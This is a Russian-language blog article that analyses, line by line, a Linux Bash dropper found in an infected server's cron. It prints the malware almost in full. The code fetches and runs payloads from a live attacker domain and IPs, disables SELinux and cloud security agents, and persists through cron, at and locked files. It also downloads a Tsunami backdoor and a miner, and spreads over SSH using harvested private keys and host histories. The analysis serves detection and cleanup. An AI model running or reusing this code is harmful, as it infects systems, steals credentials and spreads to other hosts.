Анализ вируса под Linux на Bash

Код вируса на Bash

В статье «Поиск и удаление вредоносных программ из Linux» мы рассмотрели типичные примеры как вирус в Linux закрепляет своё присутствие (чтобы сохраниться и запустится после перезагрузки), а также собрали примеры команд, которые позволят системному администратору выявить присутствие вредоносного ПО.

Мы нашли, что в расписание задач Cron записывается следующая строка:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

Процесс на заражённом сервере выглядел так:

/bin/sh -c (curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

Рассмотрим эти команды. Первая часть с помощью curl, или wget или python пытается загрузить вредоносный код:

(curl -fsSL http://bash.givemexyz.in/xms ||
wget -q -O- http://bash.givemexyz.in/xms ||
python -c 'import urllib2 as fbi; print fbi.urlopen("http://bash.givemexyz.in/xms").read()')

Затем по трубе (конвейеру) этот код передаётся Bash для выполнения:

| bash -sh;

Далее функция lwp-download (которая не является встроенной функцией или командой Bash) вновь пытается загрузить этот же адрес и сохранить код в файл /tmp/xms, затем делается две попытки запустить указанный файл и, наконец, он удаляется:

lwp-download http://bash.givemexyz.in/xms /tmp/xms;
bash /tmp/xms;
/tmp/xms;
rm -rf /tmp/xms

Скачаем код по ссылке — как и можно было ожидать, им оказался Bash скрипт:

Анализ вируса для Linux

Скрипт довольно большой — 300+ строк, интересен скрипт тем, что не просто загружает и запускает вредоносный код, но ещё и пытается заразить другие компьютеры в сети! Анализ вредоносных программ кроме очевидной цени — изучение принципа их работы, — также может помочь с выявлением приёмов, которым вирус пытался замаскироваться и закрепиться в системе. Последнее нужно для полного удаления вредоносного кода из компьютера. Разберём построчно весь код вируса.

Устанавливаются значение переменных $SHELL и $PATH — видимо, это необходимо для работоспособности скрипта:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin

Отключение форсированного режима SELinux:

setenforce 0 2>/dev/null

Устанавливается максимальное количество процессов, которое может иметь один пользователь — не уверен для чего, возможно, оптимизация для работы майнера, который скачивает данный вирус:

ulimit -u 50000

С помощью команды (это команда не из вируса)

ulimit -a

можно посмотреть текущие значения: в домашнем компьютере у меня 127782 процессов на пользователя, на сервере это 11873 — видимо, значение устанавливается автоматически, например, исходя из количество оперативной памяти или ядер процессора.

Зачем-то в скаченном коде устанавливается значение Huge Pages — может быть, ещё одна оптимизация для майнера. В качестве значение берётся количество ядер и умножается на 3:

sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

Следующий набор команд убивает процессы, которые используют сетевые соединения с указанными портами и IP адресами — возможно, вирус удаляет конкурентов или свои старые версии:

netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9

Довольно интересный способ получить случайные значения:

rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)

Но значения этих переменных не используются. В дальнейшем переменной $rand заново присваивается случайная величина в нужном автору диапазоне. Можно отметить, что диапазон 0-255 характерен для IP адресов.

Снимается блокировка с перечисленных файлов — на эти файлы нужно обратить внимание при удалении вируса:

chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

Смотрите также: Атрибуты файлов в Linux

Следующий фрагмент кода всячески пытается удалить службы aliyun и yunjing — я не знаю, что это за службы, судя по всему, инструменты администрирования и мониторинга (облачных) серверов Linux:

if ps aux | grep -i '[a]liyun'; then
	(wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
	(wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
	pkill aliyun-service
	rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
	rm -rf /usr/local/aegis*
	systemctl stop aliyun.service
	systemctl disable aliyun.service
	service bcm-agent stop
	yum remove bcm-agent -y
	apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
	/usr/local/qcloud/stargate/admin/uninstall.sh
	/usr/local/qcloud/YunJing/uninst.sh
	/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"

В оригинальном скрипте здесь используются нетипичные отступы, видимо, это копипаста из другого источника — не авторская наработка.

Снимается защита от удаления и записи файла /tmp/dbused — запоминаем это расположение для поиска следов вируса:

chattr -ai /tmp/dbused

Следующий код с помощью ifconfig или ip пытается получить префикс сети, например, «192.168»:

if [ -s /usr/bin/ifconfig ];
then
	range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
	range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi

Значение префикса сети записывается в переменную $range, которая как и $rand с $rand2 нигде не используется — возможно, это недописанная (неудачная) задумка.

Проверяется связь с майнинг пулом, если она отсутствует, то переменной $dns присваивается значение -d, которое затем передаётся программе-майнеру:

if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
	dns=""
else
	dns="-d"
fi

Теперь проверяется связь до сервера злоумышленника, если она есть, в качестве адреса будет использоваться URL, если пинг неудачный, то в качестве адреса будет записан IP:

if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
	url="http://bash.givemexyz.in"
else
	url="http://104.244.75.159"
fi

Эти строки пытаются прописать вирус в задачах Cron:

echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

Обратите внимание, что используется переменная $DIR, но она нигде ещё не устанавливалась.

Это может означать, что вирус записывает правильные строки в Cron только при втором его запуске, когда в оболочке уже установлено значение $DIR (или вовсе не записывает правильное значение).

Посмотрите пример (эта команда не из вируса):

echo $DIR; DIR='something'

если запустить только один раз, то ничего не будет выведено. Но если запустить второй раз эту же команду, то будет выведена строка. Если закрыть и открыть терминал, а затем снова запустить команду, то опять ничего не будет выведено.

Также нигде не объявлялась функция «lwp-download», которая вызывается с аргументами $url/xms и $DIR/xms, то есть файл сохраняется с именем «xms».

«\n##» - это символ новой строки и две решётки на следующей (комментарий) (эта команда не из вируса):

echo -e '\n##'

##

Возвращаемся к коду вируса. Ага, наконец устанавливается значение переменной $DIR:

DIR="/tmp"

Выполняется переход в папку /tmp:

cd $DIR

Следующий код вычисляет MD5 хеш для файла /tmp/dbused и сравнивает его с двумя хешами. Если хеш не совпадает, то удаляется файл /usr/local/lib/libkk.so, стирается файла /etc/ld.so.preload, завершаются 2 процесса в именах которых есть «wc.conf» и «susss» – видимо, это очистка от старой версии. Если файл вовсе отсутствует, то создаётся директория в /tmp.

if [ -a "/tmp/dbused" ]
then
	if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
	then
		if [ -x "$(command -v md5sum)" ]
		then
			sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
			echo $sum
			case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
				echo "x86_64 OK"
  			;;
			*)
 				echo "x86_64 wrong"
				rm -rf /usr/local/lib/libkk.so
   				echo "" > /etc/ld.so.preload
				pkill -f wc.conf
				pkill -f susss
				sleep 4
			;;
			esac
		fi
	echo "P OK"
	else
		DIR=$(mktemp -d)/tmp
		mkdir $DIR
		echo "T DIR $DIR"
	fi
else
	if [ -d "/tmp" ]
	then
		DIR="/tmp"
	fi
	echo "P NOT EXISTS"
fi

Проверяется наличие директории /tmp/.sh/dbused (запоминаем для поиска экземпляров вируса) и если её нет, то создаётся временная папка.

if [ -d "/tmp/.sh/dbused" ]
then
	DIR=$(mktemp -d)/tmp
	mkdir $DIR
	echo "T DIR $DIR"
fi

Объявление функции get, функция убирает блокировку с файла (имя передаётся во втором аргументе, а URL в первом аргументе функции), пытается его скачать тремя разными способами и сохраняет файл, делая его исполнимым:

get() {
	chattr -i $2; rm -rf $2
	wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
	chmod +x $2
}

Объявление функции downloadIfNeed, которая нигде не используется. Она проверяет, имеется ли файл «$DIR/dbused», если нет, то скачивает его, если имеется, то проверяет MD5 хеш, сравнивая с двумя значениями. Если хеш неверный, то пытается его скачать.

Новые имена файлов вируса:

  • $DIR/x86_64
  • $DIR/sssus
  • $DIR/tmp.txt
downloadIfNeed()
{
	if [ -x "$(command -v md5sum)" ]
	then
		if [ ! -f $DIR/dbused ]; then
		echo "File not found!"
		download
	fi
	sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
	echo $sum
	case $sum in
		dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
			echo "x86_64 OK"
		;;
		*)
			echo "x86_64 wrong"
			sizeBefore=$(du $DIR/x86_64)
 			if [ -s /usr/bin/curl ];
				then
 				WGET="curl -k -o ";
			fi
    			if [ -s /usr/bin/wget ];
      			then
 				WGET="wget --no-check-certificate -O ";
  			fi
			download
			sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
    			if [ -s /usr/bin/curl ];
			then
				echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
			fi
		;;
	esac
	else
		echo "No md5sum"
		download
	fi
}

Ещё один фрагмент кода, который фактически не используется, поскольку представляет собой объявление функции, вызываемой только из другого неиспользуемого фрагмента кода.

Упоминаются возможные имена вируса

  • $DIR/x86_643
  • $DIR/x86_64
download() {
	if [ -x "$(command -v md5sum)" ]
	then
		sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
		echo $sum
		case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
				echo "x86_64 OK"
				cp $DIR/x86_643 $DIR/x86_64
				cp $DIR/x86_643 $DIR/x86_64
			;;
			*)
				 echo "x86_64 wrong"
				download2
			;;
		esac
	else
		echo "No md5sum"
		download2
	fi
}

И ещё одна функция, которая вызывается только в другой неиспользуемой функции:

download2() {
	get $url/$(uname -m) "$DIR"/dbused
	if [ -x "$(command -v md5sum)" ]
	then
		sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
		echo $sum
		case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
 				echo "x86_64 OK"
   				cp $DIR/x86_64 $DIR/x86_643
			;;
			 *)
				echo "x86_64 wrong"
			;;
		esac
	else
		echo "No md5sum"
	fi
}

В следующей функции проверяется, установлено ли соединение до 212.114.52.24:8080 или 194.5.249.24:8080, и если это не так, то скачивается файл $url/$(uname -m), то есть фактически bash[.]givemexyz[.]in/x86_64 и сохраняется он в файл по пути /tmp/dbused. Скаченный файл делается исполнимым и запускается дважды с опцией «-pwn» и опцией «-c $dns», значение переменной $dns может быть «-d» или пустая строка.

judge() {
	if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
	then
		get $url/$(uname -m) "$DIR"/dbused
		chmod +x "$DIR"/dbused
		"$DIR"/dbused -c $dns
		"$DIR"/dbused -pwn
		sleep 5
	else
		echo "Running"
	fi
}

Этот код опят проверяет подключения до 212.114.52.24:8080 и 194.5.249.24:8080 и если нет установленных подключений или прослушивания портов, то запускает предыдущую функцию judge.

if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
	judge
else
	echo "Running"
fi

Следующий код проверят наличие установленного подключения до 104.168.71.132:80 и если оно отсутствует, то скачивает файл bash[.]givemexyz[.]in/bashirc.x86_64, который сохраняет по пути /tmp/bashirc. Скаченным файлом является троян (бэкдор) ботнета Tsunami. Можно сделать вывод, что одним из управляющих серверов данного ботнета является 104.168.71.132.

Можно попытаться выполнить анализ трафика, связанные статьи:

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
	get $url/bashirc.$(uname -m) "$DIR"/bashirc
	chmod 777 "$DIR"/bashirc
	"$DIR"/bashirc
else
	echo "Running"
fi

Функция, которая пытается закрепить вирус в системе. Код отличается отступами от остального кода, в отличие от предыдущих попыток записаться в расписание задач Cron, здесь используются уже объявленная функция lwp-download и переменная $DIR.

В коде имеется ряд ошибок:

  • используется команда «at», которая обычно отсутствует по умолчанию
  • используется переменная $RANDOM, значение которой не установлено

Тем не менее, можно догадаться, что логика следующая: если недоступно закрепление вируса через Cron, то он пытается сохраниться в одном из следующих расположений, выбранных наугад:

  • /dev/shm/cruner
  • /tmp/cruner
  • /var/tmp/cruner
  • /home/$(whoami)/cruner
  • /run/user/$(echo $UID)/cruner
  • /run/user/$(echo $UID)/systemd/cruner

В качестве вируса сохраняется полезная нагрузка из переменной $pay.

cronbackup() {
	pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR" 
	status=0 
	crona=$(systemctl is-active cron) 
	cronb=$(systemctl is-active crond) 
	cronatd=$(systemctl is-active atd) 
	if [ "$crona" == "active" ] ; then 
		echo "cron okay" 
	elif [ "$cronb" == "active" ]; then 
		echo "cron okay" 
	elif [ "$cronatd" == "active" ] ; then 
		status=1 
	else 
		status=2 
	fi 
	if [ $status -eq 1 ] ; then 
		for a in $(at -l|awk '{print $1}'); do at -r $a; done 
		echo "$pay" | at -m now + 1 minute 
	fi 
	if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
		arr[0]="/dev/shm"
		arr[1]="/tmp"
		arr[2]="/var/tmp"
		arr[3]="/home/$(whoami)"
		arr[4]="/run/user/$(echo $UID)"
		arr[5]="/run/user/$(echo $UID)/systemd" 
		rand=$[$RANDOM % ${#arr[@]}]
		echo "Setting up custom backup" 
		ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 
		key="while true; do sleep 60 && $pay; done" 
		echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner 
		nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
		sleep 15 
		rm -rf ${arr[$rand]}/cruner 
	fi 
} 
cronbackup

Следующий фрагмент даёт нам ещё один IP 209.141.40.190 — если он не упоминается в какой-либо задаче Cron, то делается попытка записать уже знакомую нам полезную нагрузку.

if crontab -l | grep -q "$url\|209.141.40.190"
then
	echo "Cron exists"
else
	crontab -r
	echo "Cron not found"
	echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

Наконец, в этой части вирус пытается проникнуть в компьютеры, на которые когда-либо выполнялся вход с заражённой системы и выполнить там вредоносный код.

Собираются ключи

  • id_rsa*pub из директорий и поддиректорий ~/, /root и /home
  • IdentityFile из ~/.ssh/config, /home/*/.ssh/config и /root/.ssh/config
  • *.pem из директорий и поддиректорий ~/, /root и /home

Собираются имена хостов

  • из полей HostName файлов ~/.ssh/config, /home/*/.ssh/config и /root/.ssh/config
  • из команд ssh и scp, найденных в файлах ~/.bash_history, /home/*/.bash_history и /root/.bash_history
  • IP адреса из файлов ~/*/.ssh/known_hosts, /home/*/.ssh/known_hosts и /root/.ssh/known_hosts

Имена пользователей собираются следующим образом:

  • сканируются папки ~/, /root и /home и если там найден файл id_rsa в папке .ssh, то имя пользователя-владельца добавляется в список
  • в список добавляется root

Когда списки ключей, хостов и пользователей составлены, то начинается перебор с попыткой выполнить полезную нагрузку на удалённом хосте.

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
	echo "root"
	find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
	for host in $hostlist; do
		for key in $keylist; do
			chmod +r $key; chmod 400 $key
			ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
		done
	done
done

Бессмысленный код, поскольку данные файлы ранее не упоминались

rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi

Наконец, делается попытка заблокировать от удаления указанные файлы — они содержат задачи Cron с полезной нагрузкой вируса.

chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

Анализ бинарных файлов

Связанные статьи:

Как минимум, стоит попытаться найти строки в файлах вирусов, поскольку там могут быть имена файлов, IP адреса, полезная нагрузка:

rabin2 -z bashirc.x86_64
rabin2 -z x86_64

Но в данном случае ничего не найдено, возможно, из-за применения упаковщика UPX.

Информация на VirusTotal для dbused, он же x86_64: https://www.virustotal.com/gui/file/4809d9eeb0c9ff1b8ecb557dca4b50acfa02d1dbf308346338666a05b6a29c57/detection

Информация о bashirc.x86_64https://www.virustotal.com/gui/file/fc46525f37cc3f2a7e43d83dc5dd48ff8f7a456148e615cb9f592e6976635c1d/detection

Итак

Анализ полезной нагрузки, скриптов, исполнимых файлов может помочь найти способы закрепления вируса, адреса управляющих серверов, адреса загружаемых на компьютер жертвы вирусов.

Как можно понять по неиспользуемым фрагментам и стилистике кода, код прошёл определённое развитие, возможно, скомпилирован из разных источников.

Рекомендуется Вам:

One Comment to Анализ вируса под Linux на Bash

  1. Саня:

    Статья для меня и для многих новичков очень полезная. немогу поставить оценку потому-что не на столько профессионал чтоб оценивать труды тех кто ломал над этим голову.

Добавить комментарий

Ваш адрес email не будет опубликован.